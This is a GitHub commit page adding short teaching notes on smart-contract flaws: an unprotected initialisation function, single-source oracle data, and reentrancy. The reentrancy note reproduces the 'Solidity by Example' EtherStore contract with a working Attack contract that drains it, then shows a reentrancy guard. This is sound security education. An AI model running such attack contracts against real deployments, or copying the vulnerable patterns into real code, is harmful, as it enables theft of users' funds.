-
-
Notifications
You must be signed in to change notification settings - Fork 105
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
6901400
commit 325d750
Showing
4 changed files
with
124 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
One usually accesses a contract's functionality through its public or external functions. While insecure visibility settings give attackers straightforward ways to access a contract's private values or logic, access control bypasses are sometimes more subtle. These vulnerabilities can occur when contracts use the deprecated tx.origin to validate callers, handle large authorization logic with lengthy require and make reckless use of delegatecall in proxy libraries or proxy contracts. | ||
|
||
## Example | ||
|
||
In the following example, the contract's initialization function sets the caller of the function as its owner. However, the logic is detached from the contract's constructor, and it does not keep track of the fact that it has already been called. | ||
|
||
``` | ||
function initContract() public { | ||
owner = msg.sender; | ||
} | ||
``` |
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
Sometimes protocols requires offchain data. If a protocol is only gettting data from only one source then they could get incorrect data. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,112 @@ | ||
Reentrancy occurs when external contract calls are allowed to make new calls to the calling contract before the initial execution is complete. For a function, this means that the contract state may change in the middle of its execution as a result of a call to an untrusted contract or the use of a low level function with an external address. | ||
|
||
## Example | ||
|
||
Let's say that contract A calls contract B. | ||
|
||
Reentracy exploit allows B to call back into A before A finishes execution. | ||
|
||
``` | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.13; | ||
/* | ||
EtherStore is a contract where you can deposit and withdraw ETH. | ||
This contract is vulnerable to re-entrancy attack. | ||
Let's see why. | ||
1. Deploy EtherStore | ||
2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore | ||
3. Deploy Attack with address of EtherStore | ||
4. Call Attack.attack sending 1 ether (using Account 3 (Eve)). | ||
You will get 3 Ethers back (2 Ether stolen from Alice and Bob, | ||
plus 1 Ether sent from this contract). | ||
What happened? | ||
Attack was able to call EtherStore.withdraw multiple times before | ||
EtherStore.withdraw finished executing. | ||
Here is how the functions were called | ||
- Attack.attack | ||
- EtherStore.deposit | ||
- EtherStore.withdraw | ||
- Attack fallback (receives 1 Ether) | ||
- EtherStore.withdraw | ||
- Attack.fallback (receives 1 Ether) | ||
- EtherStore.withdraw | ||
- Attack fallback (receives 1 Ether) | ||
*/ | ||
contract EtherStore { | ||
mapping(address => uint) public balances; | ||
function deposit() public payable { | ||
balances[msg.sender] += msg.value; | ||
} | ||
function withdraw() public { | ||
uint bal = balances[msg.sender]; | ||
require(bal > 0); | ||
(bool sent, ) = msg.sender.call{value: bal}(""); | ||
require(sent, "Failed to send Ether"); | ||
balances[msg.sender] = 0; | ||
} | ||
// Helper function to check the balance of this contract | ||
function getBalance() public view returns (uint) { | ||
return address(this).balance; | ||
} | ||
} | ||
contract Attack { | ||
EtherStore public etherStore; | ||
constructor(address _etherStoreAddress) { | ||
etherStore = EtherStore(_etherStoreAddress); | ||
} | ||
// Fallback is called when EtherStore sends Ether to this contract. | ||
fallback() external payable { | ||
if (address(etherStore).balance >= 1 ether) { | ||
etherStore.withdraw(); | ||
} | ||
} | ||
function attack() external payable { | ||
require(msg.value >= 1 ether); | ||
etherStore.deposit{value: 1 ether}(); | ||
etherStore.withdraw(); | ||
} | ||
// Helper function to check the balance of this contract | ||
function getBalance() public view returns (uint) { | ||
return address(this).balance; | ||
} | ||
} | ||
``` | ||
|
||
## Preventative Techniques | ||
|
||
Ensure all state changes happen before calling external contracts | ||
Use function modifiers that prevent re-entrancy | ||
Here is a example of a re-entracy guard | ||
|
||
``` | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.13; | ||
contract ReEntrancyGuard { | ||
bool internal locked; | ||
modifier noReentrant() { | ||
require(!locked, "No re-entrancy"); | ||
locked = true; | ||
_; | ||
locked = false; | ||
} | ||
} | ||
``` | ||
|
||
Example taken from [Solidity by Example](https://solidity-by-example.org/hacks/re-entrancy/) |